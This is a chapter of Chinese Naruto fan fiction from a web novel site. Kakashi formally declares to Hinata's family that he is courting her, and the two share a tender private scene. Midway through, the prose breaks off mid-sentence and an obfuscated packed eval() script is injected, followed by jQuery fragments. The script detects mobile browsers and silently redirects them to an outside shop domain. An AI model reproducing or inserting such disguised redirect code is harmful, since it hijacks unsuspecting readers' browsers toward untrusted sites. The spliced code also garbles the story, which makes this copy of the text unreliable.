文趣网 > 其他小说 > [火影卡雏]温玉 > 45. 正式一点
    第四十四章:正式一点

    日向宅的白砂重新扫过一遍。

    竹枝垂在院墙边,被风压低,影子一截一截落到木廊上。远处还有修补房屋的木槌声,隔着高墙传来,闷而轻,像战后的木叶仍旧没有完全醒过来。

    正厅里,茶水已经换过一轮。

    日足端坐在案前,手边压着临时协防图。纸角有些卷,被白玉镇纸压住。宁次跪坐在侧,膝前的茶没有动。

    花火在纸门外通传时,声音端正,茶盘也端得很稳。

    稳得像她今日格外懂规矩。

    “父亲大人,卡卡西前辈到了。”

    日足道:

    “请。”

    纸门被拉开。

    卡卡西站在廊下。

    他今日来得不算迟。护额戴得很正,上忍马甲换过,肩侧扣带扣得整齐,黑色面罩贴着鼻梁与下颌,只露出一只眼睛。只有银发仍旧散着几缕,被廊风吹得轻轻动,像他本人仍旧不肯完全服从“端正”这两个字。

    他右手拿着协防卷轴,左手拎着一包红茶。

    纸包用细绳系住,结打得不漂亮,偏偏系得很牢。

    宁次的目光在那只绳结上停了一下。

    “卡卡西前辈今日来得很早。”

    卡卡西低头看了看自己站的位置,笑了一下。

    “原来这个也会被记录。”

    宁次声音很平:

    “前辈平时提供的反面样本太多。”

    卡卡西进门前低了低头。

    那一下不重,也不刻意,却让花火捧着茶盘的手轻轻顿了一下。日足看见了,宁次也看见了,谁都没有立刻说破。

    卷轴被放到案前。

    “卷轴是鹿久让我送的。”

    日足接过,没有拆。

    宁次垂眼看向案上的红茶。

    “那这个也是鹿久先生让前辈送的?”

    卡卡西顺手把红茶放在卷轴旁边。纸包碰到木案,发出很轻的一声。

    “这个不是。”

    花火的茶盘轻轻偏了一点,又被她很快扶正。

    卡卡西像没有看见。他指尖停在红茶纸绳旁,把那只歪掉的结慢慢拨了一下,没拨正,便也不再管。

    风从廊外穿过来,纸门边缘轻轻响了一声。

    日足放下茶盏。

    “以什么身份?”

    这句话落下来,正厅像被那只白玉镇纸压得更静了一点。

    卡卡西的手从纸绳旁收回来,落回膝上。方才那点懒散还在,却不再像玩笑。

    “身份的话。”

    他停了一下。

    “今天不是只替鹿久送东西来的。”

    宁次抬眼。

    卡卡西没有看他,只把视线从那包红茶旁移开。

    “是正在追求雏田的人。”

    花火的茶盘又偏了一点。

    这回偏得比刚才明显。

    宁次看了她一眼。

    她立刻坐正,连呼吸都放轻了。

    日足没有立刻开口。他看着卡卡西,目光严肃,却不是压人,只像在确认这句话有没有被轻易说出口。

    “雏田知道吗?”

    卡卡西侧过眼,看向纸门外。

    “所以。”

    “我想等她来了再说。”

    宁次冷冷道:

    “前辈今日的借口准备得很齐。”

    卡卡西没有接招,只看了一眼那包红茶。

    纸绳被他拨过一次,仍旧歪着。

    日足沉默片刻。

    “请雏田过来。”

    花火几乎立刻起身。茶盘被她抱得很稳,步子却在宁次的目光里慢下来。她从纸门出去时,脚尖在门槛前轻轻停了一下,像忍了又忍,才没有回头看卡卡西。

    正厅重新安静。

    纸门再开时,雏田站在花火身后。

    杏白色交领长衣贴着肩线落下,袖口压着浅银云纹。淡紫色细带系在腰间,收得温柔。象牙色薄羽织披在肩上,被廊风轻轻掀起一角,露出颈侧绷带的边缘。

    她病后脸色淡,唇色也浅,扶着门边时,指节泛出一点白。黑发顺直地垂到腰际,几缕落在胸前,贴着杏白衣料,随着她停住的呼吸轻轻动了一下。

    卡卡西站了起来。

    太快了。

    快到他的手还没来得及伸出去,自己便先停住。

    宁次的茶盏落到案上,杯底碰到木面,声音不重,却清楚。

    “卡卡西前辈。”

    卡卡西偏头。

    “嗯?”

    宁次看了一眼他的手。

    “雏田大人还没有到需要前辈立刻上前搀扶的程度。”

    他停了一下。

    “至少在正厅里没有。”

    雏田颈侧那点薄红一路藏进发里。

    花火低头看着茶盘,眼睛亮得快要藏不住。她显然很想看姐姐,又不敢太明显,只能把茶盘抱得更稳,稳得像下一刻就要碎掉。

    卡卡西垂眼看了看自己的手,半息后坐回去。

    “是我失礼了。”

    他说得很平。

    下一句却懒懒落下来:

    “不过宁次提醒得确实很快。”

    宁次道:

    “因为前辈动得也很快。”

    卡卡西笑了一下,没有再回。

    他的目光重新落到雏田身上。

    雏田先向日足低了低头。

    “父亲大人。”

    声音轻,却稳。

    日足看着她。

    “进来坐。”

    雏田应了一声。她走到软垫旁时,花火替她挪了垫子。动作很轻,位置却放得太准——离日足不远,离卡卡西也不远。

    宁次看向那只软垫。

    花火已经跪坐好,眼睛低垂,安静得像什么都没做。

    雏田坐下时,羽织从肩头滑下一线。她抬手去压,动作牵到伤口,呼吸轻轻停住。

    卡卡西的手动了一点。

    这次没有伸出去,只停在膝侧。

    “疼?”

    雏田本来想摇头,唇动了动,又轻轻停住。

    “有一点。”

    卡卡西看着她,眼里的笑淡下去。

    “那慢一点。”

    日足道:

    “卡卡西上忍有话,要当面同你说。”

    雏田抬眼。

    她先看了一眼父亲,又看向卡卡西。那包红茶安安静静地放在案边,纸绳被拨正过,却仍旧有些歪。

    她看着那只结,眨得很慢。

    然后她向日足低了低头。

    “父亲大人。”

    日足看着她。

    雏田声音很轻。

    “我想听老师说完。”

    花火眼睛一下亮了。

    亮得连茶盘都挡不住。

    宁次没看她,只冷冷道:

    “坐稳。”

    花火立刻把茶盘压回膝前。

    正厅里静下来。

    卷轴压在案上。红茶在案侧。卡卡西没有再碰它们。

    他看着雏田。

    方才那些散漫的、用来挡住锋芒的笑意,像被她这一句轻轻按住了。

    那包红茶的纸绳还是歪着。

    卡卡西垂眼看了一息。

    没有再去拨。

    “那我说了。”

    雏田的手在膝前轻轻收紧。

    卡卡西抬眼看她。

    “我喜欢雏田。”

    他说的是她的名字。

    也是看着她说的。

    雏田的呼吸轻轻停住。那点红从颈侧慢慢浮出来,被黑发挡住一半,又被杏白色衣料衬得更明显。她没有低头,只是把声音藏在安静里,轻轻吸了一口气。

    卡卡西的声音低了一点。

    “所以今天来了。”

    花火低下头,低得很快,像怕自己脸上的笑先于礼数露出来。

    宁次抬眼。

    “前辈终于想起,有些话不能只靠牵手代替了。”

    雏田的手停在膝上,微微动了一下。

    “宁次哥哥……”

    声音很轻。

    有羞,也有一点软软的护。

    宁次看了她一眼。

    那一眼仍冷,却没有再刺下去。

    卡卡西也看见了。他没有借她这句话躲开,反而看向宁次。

    “嗯。”

    他说。

    “这一点,宁次没说错。”

    日足看向雏田。

    “雏田。”

    雏田抬起眼。她脸红得厉害,长发滑到脸侧,遮住一点眼尾。羽织从肩头垂下来,衣领下绷带仍露着边。她坐得很端正,连声音也软,可那双眼睛没有躲。

    她先向日足低了低头。

    “父亲大人。”

    日足看着她。

    雏田声音很轻。

    “我想自己回答。”

    花火的指尖在茶盘边缘一下扣紧。

    她差点抬头,硬生生忍住了,只让眼睛从睫毛下亮起来。

    宁次的目光也停了一瞬。

    日足沉默片刻。

    “说。”

    雏田这才看向卡卡西。

    “老师。”

    卡卡西应她:

    “嗯。”

    雏田停了一下。

    “我愿意。”

    卡卡西的目光停住。

    她声音更低,却很清楚。

    “老师不用一个人走过来。”

    她看着他。

    “我也会走过去。”

    话落下时,廊外竹叶轻轻响了一声。

    雏田的眼睛没有从卡卡西身上移开。她明明红得厉害,声音也软,可那句话落下以后,整个正厅最安静、也最坚定的人,反而是她。

    案边那包红茶的纸绳仍旧歪着。

    卡卡西方才拨过一次,没拨正。

    这会儿,他没有再伸手。

    他只是看着雏田。

    那只露出来的眼睛里,方才压住的笑意安静下来。

    过了一息,才低声道:

    “那这次。”

    雏田抬眼。

    卡卡西的眼睛很轻地弯了一下。

    “剩下的路,老师来走。”

    这一句落得很轻。

    没有玩笑。

    也没有给自己留下退路。

    花火低着头,指尖在茶盘边缘按了一下,像压住一声差点冒出来的笑。

    宁次垂眼看着案边的茶盏。过了一会儿,才抬眼。

    “雏田大人愿意走过去。”

    他的声音很平。

    “前辈最好先证明,自己不是只会让她走的人。”

    卡卡西没有立刻接话。

    他看了雏田一眼。

    她没有低头。

    于是他看回宁次。

    “那就从今天开始。”

    宁次没有再说话。

    日足放下茶盏。

    “伤势未愈,不宜久坐。”

    他看向卡卡西。

    “半盏茶。”

    卡卡西笑了一下。

    “日向家的半盏茶,听起来比暗部任务还精确。”

    日足没有接他的玩笑。

    “只会更短。”

    宁次站起身。

    “我会在门外。”

    花火也跟着起身,茶盘抱得很稳。她走到门边,终于忍不住,轻声问:

    “因为是姐姐吗?”

    宁次道:

    “花火。”

    卡卡西看了雏田一眼。

    这次没有躲。

    “嗯。”

    他说。

    “因为是雏田。”

    雏田低下头,黑发落下来,遮住半张脸。

    可露在发外的颈侧,已经红透了。

    ---

    雏田房里的药味还没有散。

    空药碗放在矮桌边,水杯旁叠着一方干净手帕。窗外竹影斜斜落进来,落在柜门旁。和正厅相比,这里安静得多,也近得多。

    近到茶气落下来时,都像能碰到谁没藏好的呼吸。

    雏田在软垫上坐下时,动作慢了一点。

    卡卡西看见了。

    这次没有问,只把靠垫推到她腰后,指节避开绷带压住的位置。靠垫抵上去时,他的手停了一息,确认她坐稳了,才慢慢收回。

    雏田抬眼。

    “老师……”

    “嗯。”

    卡卡西声音懒懒的。

    “这次没问。”

    雏田怔了一下。

    他看着她,眼睛很轻地弯了一点。

    “刚才答过一次。”

    停了一息。

    “老师记性还没差到半盏茶就忘。”

    雏田脸上热起来。

    屋里比正厅安静得多。药味、茶气、竹影,都被纸门挡在一个很近的距离里。刚才在正厅里,他离得太远。远到她红了脸,也隔着日向家的规矩、父亲的茶盏和宁次冷冷的目光。

    现在终于近了。

    近到她一抬眼,呼吸就先乱了一拍;近到她想低头,发尾却先扫过衣襟,轻得像把那点慌乱递到他眼前。

    卡卡西没有接话。

    那点笑意还在,却没有再往下说。

    花火抱着药盘进来时,脚步放得很轻。

    她的眼睛先落在姐姐脸上,又很快落回药盘里,嘴角压得太辛苦,反而显得更明显。宁次跟在她身后,神色冷冷的,像早就知道她心里那点热闹迟早会把自己绊倒。

    花火把药盘放下,去取披肩。

    柜门被拉开,木格滑过轨道,轻轻一响。

    最外层放着披肩、药布和几本柔拳笔记。花火抽出披肩时,笔记边缘被带动,压在底下的纸袋往外滑了一寸。

    木叶书店的印章露了出来。

    屋里一下静了。

    日向宗家大小姐的柜子里,药布、披肩、柔拳笔记都放得整齐。只有那只纸袋,从最深处露出一角。

    花火的手停在半空。

    她眼睛亮得几乎要藏不住。

    宁次看着那半枚印章,声音冷冷落下来:

    “日向宗家的柜子。”

    “不适合继续替大叔保管证据。”

    卡卡西这才抬眼。

    “证据?”

    他问得很无辜。

    无辜得连花火都忍不住抬眼看了他一下。

    宁次没有接他的无辜,只把披肩从花火手里接过,放到雏田身侧。

    花火走到门边还忍不住回头。

    宁次只叫了一声:

    “花火。”

    她立刻站直。

    “我没有看。”

    宁次道:

    “你的眼睛已经看完了。”

    花火抱着药盘退到门外,脚步轻得像怕惊动什么。

    纸门重新半合。

    屋里安静下来。

    雏田低头看着柜子深处露出的那只纸袋。

    卡卡西没有问。

    他只是看着她。那只露出来的眼睛里还带着一点懒散的笑意,却没有催她。

    雏田的手在杯壁旁停了一会儿。

    然后她慢慢站起身。

    “我去拿。”

    卡卡西的手动了一下。

    雏田却先轻轻摇头。

    “我可以。”

    这一次,是她自己走到柜前,把那只纸袋从柔拳笔记下面取出来。

    纸边已经压软了,书店印章被折痕压得有些浅。她抱着它回来时,黑发从肩头滑到胸前,遮住半边脸,颈侧却红得藏不住。

    她坐回软垫上,把纸袋放在膝前。

    “这个……”

    她指腹压着纸袋边缘那道旧折痕。

    “是我收下的。”

    卡卡西看着她。

    雏田停了停。

    “书店老板托我转交给老师。”

    “我一直没有交出去。”

    卡卡西没有立刻笑。

    他看着那只纸袋,又看向她。

    “原来雏田也会替老师取书。”

    雏田急得抬眼。

    “不是……”

    话出口以后,她才发现他眼底那点笑并不是在逼她,只是轻轻把她的慌乱接住。

    她声音低下去。

    “不是因为书。”

    卡卡西眼里的笑意停了一息。

    雏田抱着纸袋,脸红得厉害,却没有躲。

    “是因为……”

    她声音软下来,却仍旧把话说完。

    “我有话想交给老师。”

    这句话落下时,柜门还半开着。

    深处空出来一小块。

    像被她亲手把藏了很久的心事取了出来。

    卡卡西的手停在半空。

    方才那点懒散还在,却像被她这一句轻轻按住了。

    过了一息,他才伸手。

    “给我。”

    雏田的手没有立刻松。

    那一点停顿里,纸袋的旧折痕、她发红的颈侧、她还没完全平稳的呼吸,都近得像能被他一并握住。

    卡卡西垂眼看了一下她的手。

    再抬眼时,那只露出来的眼睛暗了些。

    雏田这才慢慢松手。

    纸袋落进他掌心。

    卡卡西接得很稳。

    稳住以后,他没有立刻笑。指腹压过纸袋上那道旧折痕,停了一下。

    “以后。”

    雏田抬眼。

    卡卡西看着她,声音仍旧懒,却低了些。

    “不用藏这么深。”

    雏田轻轻眨了一下眼。

    他垂眼看着那只纸袋。

    “下次放浅一点。”

    “老师看得见。”

    雏田脸上更热。

    卡卡西指腹又压过那道折痕。

    “也别让柜子先替我收。”

    雏田的手指轻轻蜷了一下。

    纸袋里的书脊碰到袋口。

    一张凭条从袋底露出一角。

    卡卡西垂眼看见自己的名字。

    旗木卡卡西先生预留。

    代取人:日向雏田小姐。

    他的指腹停了一下。

    雏田低着头,声音很轻。

    “老板还写了奇怪的话。”

    卡卡西看向她。

    “奇怪的话?”

    她颈侧那点热意藏进发里。

    “嗯。”

    “关于老师的。”

    卡卡西眼睛弯了一点。

    “那听起来更像要看。”

    雏田小声道:

    “老师不要笑我。”

    卡卡西低头,将那张凭条取出来。

    纸面被折过,边缘已经软了。背面还有一行店老板熟悉的潦草字迹。

    ——卡卡西先生,下次请本人准时取书。不要再麻烦那位说你“很好很好”的小姑娘替你脸红。

    屋里静了一息。

    卡卡西看着那几个字。

    “很好很好。”

    他把这几个字念得很慢。

    不像刚才打趣。

    雏田眨得很轻,像连看他都需要一点勇气。

    卡卡西声音低了些。

    “这句我听过。”

    雏田抬起眼。

    卡卡西的声音慢下来,像仍旧在笑,又像把那点笑压得更深。

    “老板那时候说得比这夸张。”

    他停了停。

    “不过这句,记住了。”

    雏田脸红得厉害。长发滑到脸侧,遮住了一点眼尾,可那双眼睛没有躲。

    “是很好。”

    这句话很轻。

    却清楚。

    卡卡西眼底那点笑停了一息。

    雏田像是这才反应过来自己说了什么,唇轻轻抿住,又慢慢松开。

    “只是……”

    “不是这样说给老师听的。”

    卡卡西没有立刻接话。

    他看着她。

    她明明羞得想藏起来,却还是坐在他面前,把藏了很久的东西推到了他手里。

    纸袋里的书脊又轻轻动了一下。

    一张小标签从书页间滑出来,落到他膝前。

    卡卡西弯腰捡起,没有立刻展开。

    “可以看吗?”

    雏田低下头。

    “可以。”

    停了一下。

    “但是……只给老师看。”

    卡卡西眼睛弯了一点。

    “好。”

    “只给我看。”

    他展开。

    ——卡卡西老师收。

    下面还有一行。

    ——若有机会,亲手交给老师。

    卡卡西的指腹停住。

    那四个字很轻。

    轻得像她当时放进书页里时,还以为真的会有很多下一次。

    他没有看很久,也没有让那点安静压得太重。只是把标签折好,夹回书页里。

    “现在收到了。”

    雏田抬眼看他。

    卡卡西的声音低下来,仍旧像笑,却比方才哑一点。

    “这次不算晚。”

    雏田脸红得更厉害。

    “老师……”

    卡卡西看着她。

    “嗯?”

    雏田小声道:

    “这样说……很犯规。”

    卡卡西没有笑出声,只是呼吸很轻地沉了一下。

    “嗯。”

    他承认得很从容。

    “那先记着。”

    雏田放在膝上的手很轻地停住了。

    廊外竹叶擦过窗纸。

    那点声音很轻,却像把屋里的静推得更深。

    卡卡西把纸袋放到身侧。书店老板的凭条被他压进袋里,她自己的那张小标签也被他夹回书页深处。

    他的手没有立刻离开纸袋,指节停在那里,像还按着那句“若有机会”。

    雏田低头看着膝上的衣料。

    那处象牙色布面被她刚才压出一道浅浅的褶。

    卡卡西看着那道褶,很久没有动。

    雏田抬眼。

    “老师?”

    卡卡西像是这才回过神。

    那只露出来的眼睛里,平日的笑意还在,却沉得比刚才深

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821978|211160||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    很多。他伸手,指尖碰了碰那道褶。

    “这里。”

    雏田低头。

    “被雏田弄皱了。”

    她慌忙想整理。

    “我、我重新……”

    卡卡西先一步覆住她的手背。

    很轻。

    她能抽开。

    可她没有。

    她只是把眼垂下去,手在他掌下停了一息。那一点小小的停顿比躲开更要命,像明明害羞,却还是把自己留在他手里。

    卡卡西没有立刻笑。

    另一只手撑到她身侧的榻榻米上,指节压进草席纹理里。廊外那点风被他的肩挡住,竹影落到银发上,又斜斜压到雏田脸侧。他比她高太多,这样俯下来时,不必再多靠近,就已经把她整个人笼在身前。

    雏田被他看得脸更热,声音轻得几乎落进茶气里。

    “老师不问我疼不疼了吗?”

    卡卡西停了一下。

    那只露出来的眼睛慢慢弯起来。

    “问太多次,雏田会嫌老师没话找话。”

    雏田怔住。

    他低下声。

    “所以这次问别的。”

    “可以靠近吗?”

    雏田的呼吸停了一瞬。

    她明明已经被他挡住了廊外的风,明明只要稍微往后一点,就能靠回软垫里。

    可她没有退。

    只是很轻地说:

    “老师明明已经靠近了……”

    卡卡西看着她。

    “刚才是老师没忍住。”

    他停了停,声音仍旧懒。

    “现在问雏田。”

    屋里静得能听见茶气散开的细微声响。

    雏田抬眼。

    她要仰起脸,才能看见他的眼睛。那只露出来的眼睛离她很近,平日懒散的弧度还在,底下却沉得安静。黑色面罩贴着他的下颌,随着呼吸轻轻起伏。

    她的声音比刚才软。

    “……可以。”

    卡卡西的手仍覆在她手背上。

    没有收紧。

    也没有立刻更近。

    只是指腹很轻地压了一下,像是在确认她刚才那句话,是真的落在了他手里。

    雏田的另一只手抬起来。原本像是想挡住他靠近的距离,可指尖碰到的不是他的肩,也不是他的胸口,是他的面罩。

    更准确地说,是面罩下方、他唇所在的位置。

    黑色布料在她指腹下轻轻动了一下。

    是他的呼吸。

    雏田怔住。

    她慌忙想收手,卡卡西却只是垂下眼看她。

    没有抓她。

    也没有让开。

    “这是在拦我?”

    雏田脸一下红透。

    “这里是日向家……”

    “嗯。”

    卡卡西看了一眼她抓着自己马甲的手。

    “所以是在提醒我。”

    他停了停,声音更低。

    “还是在留我?”

    雏田的指尖还停在他唇前。

    她明明羞得想低头,黑发已经滑下来遮住半边脸,可一低头,额前碎发就会碰到他的面罩。她只好又抬眼看他,眨得很慢,像连看他都需要一点勇气。

    “老师明明知道……”

    这句话很轻。

    轻得像抱怨,又像承认。

    卡卡西的眼神暗了一点。

    “知道什么?”

    雏田没有答。

    她只是把抓着他马甲的手收得更牢了一点。

    那一下力道很小。

    却足够让卡卡西停住。

    他看着她。

    廊外竹叶又响了一声。

    卡卡西没有立刻低头。

    他停在她指尖前,呼吸隔着黑色布料落下来,比刚才沉了一点。

    雏田像是终于意识到自己抓得太紧,指尖轻轻松了一下。

    又没有完全松开。

    卡卡西低声道:

    “雏田。”

    她小声应:

    “嗯……”

    “这样抓着。”

    他看着她。

    “老师会当真。”

    雏田的脸红得厉害。

    “没有……”

    “没有留我?”

    她不说话了。

    手却还抓着他。

    下一息,卡卡西微微低头。

    隔着黑色面罩,吻落在她指尖上。

    很轻。

    雏田的呼吸一下停住。

    可那一下没有立刻退开。黑色布料下,他的唇轻轻压住她的指尖,像吻,又像极轻地咬了一下。

    雏田整个人都软了一瞬。

    “老师……”

    卡卡西停在她指尖前,声音哑了一点。

    “这样也算?”

    雏田眼睛湿湿地看他。

    “老师……本来就犯规。”

    “嗯。”

    他承认得很从容。

    视线却落到了她唇边。

    这一次,雏田看懂了。

    她的手还停在面罩边缘,像是想挡住,又像是忘了该怎么挡。指尖轻轻缩了一下,却没有离开。

    卡卡西慢慢低下来。

    很慢。

    慢到她完全来得及偏开脸。

    可她只是眨了一下眼,仰着脸,没有退。

    面罩先擦过她额前的碎发。

    然后偏了一点。

    吻落在她唇角旁。

    隔着黑色布料。

    很短。

    却清清楚楚。

    雏田轻轻一颤,抓着他马甲的手一下收紧。她眼底那点湿润晃了一下,像被这一吻烫得不知道该落到哪里。

    卡卡西没有立刻退。

    呼吸隔着面罩落下来,近得让她唇角那一点热意迟迟散不开。

    雏田抿了一下唇,又像想起刚才那一下,立刻松开。

    “这里是日向家。”

    “所以老师已经很规矩了。”

    雏田羞得低下眼。

    可她没有松手。

    甚至很轻、很轻地,把他马甲往自己这边拽了一点。

    那一下力道小得几乎可以忽略。

    卡卡西却停住了。

    这一次停得比刚才久。

    他看着她。

    眼底那点懒散的笑意彻底沉下去。

    雏田像是也察觉到了,手指在他马甲上缩了一下。

    卡卡西的声音压得很低。

    “再拉一下。”

    “老师就不好退了。”

    雏田没有说话。

    廊下就在这时响起脚步声。

    “卡卡西上忍。”

    传令忍者停在纸门外。

    “鹿久先生请您去火影楼,临时协防会议提前了。”

    卡卡西没有立刻回头。

    他还看着雏田。

    她的手仍抓着他的马甲,像刚刚才意识到自己抓住了哪里,想松,又没有立刻松开。

    卡卡西垂眼,指腹轻轻碰了碰她的手背。

    “半盏茶先记在我账上。”

    雏田的手慢慢松了一点。

    他也慢慢退开。

    廊外的风重新落进来。

    卡卡西站起身,银发被风吹乱一点。他没有立刻往外走,先把那只纸袋收好,又看向雏田。

    “我要去火影楼。”

    这次没有等她问。

    “若是过戌时还没结束,我让帕克带消息来。”

    雏田轻轻点头。

    “好。”

    可她的视线没有离开他的腰侧。

    卡卡西看着她。

    “别皱眉。”

    雏田怔了一下,才发现自己真的在看他腰侧的绷带。

    她声音很轻:

    “老师也是。”

    卡卡西眼里的笑意停了一息。

    他低头看了看自己腰侧。再抬眼时,声音仍旧懒,却软了一点。

    “被雏田看见了。”

    “那就不能只说没事了。”

    雏田的眼睛慢慢软下来。

    纸门外,宁次的脚步声停住。

    他没有进来,只隔着门淡淡道:

    “这句也需要证明。”

    卡卡西偏头。

    “日向家的监督,今天很严格啊。”

    宁次道:

    “因为前辈记录不良。”

    卡卡西笑了一下。

    他走到纸门边,又停住。

    雏田抬头看他。

    他站在门口,廊下的晚光落在肩上,银发被风吹乱一点。

    “老师。”

    卡卡西停住。

    雏田的手还搭在膝前,指尖碰着那道被他压过的褶。她脸红得厉害,声音却很清楚。

    “下次……”

    她抬眼看他。

    “不用带东西,也可以来。”

    屋里静了一息。

    卡卡西看着她。

    他手里还拿着那只纸袋。

    卷轴在正厅,红茶在案边,书已经回到他手里。那些能让他说“顺路”的东西,好像都在这一刻被她轻轻拿开了。

    他没有马上笑。

    过了一息,眼尾才慢慢弯起来。

    “嗯。”

    “那老师记住了。”

    停了一下。

    “下次空着手来。”

    雏田的脸更红,却没有低头。

    卡卡西又看了她一会儿。

    传令忍者又低声催了一句:

    “卡卡西上忍。”

    卡卡西垂眼看了看门槛。

    “那半盏茶。”

    雏田轻轻眨眼。

    他看着她,声音低了一点。

    “回来补上。”

    雏田的颈侧一点点红起来。

    她没有低头,只是手停在膝上,慢慢握住了那一点还没散开的热意。

    卡卡西退了一步。

    “等我回来。”

    雏田看着他。

    这一次,她没有说“老师会回来吗”。

    她只是轻轻点头。

    “我会等老师。”

    卡卡西的眼神停了一息。

    那一点懒散的笑意还在,底下却沉稳得让人移不开眼。

    “这次,我自己回来。”

    纸门外的风穿过廊下。

    竹影晃过他的肩,又落到雏田膝前。

    卡卡西转身离开。

    脚步声很快远了。

    花火抱着药盘站在廊下,忍了又忍,终于小声问:

    “姐姐。”

    雏田侧过脸。

    花火声音压得很轻,却藏不住那点笑。

    “刚才那个,算半盏茶里的吗?”

    宁次冷声:

    “花火。”

    花火立刻坐直。

    “我只是确认账目。”

    雏田低下头。

    她看着膝前那道被卡卡西碰过的褶痕,过了很久,才轻轻伸手按了一下。

    窗外的竹影还在晃。

    她的声音很轻。

    “……不知道。”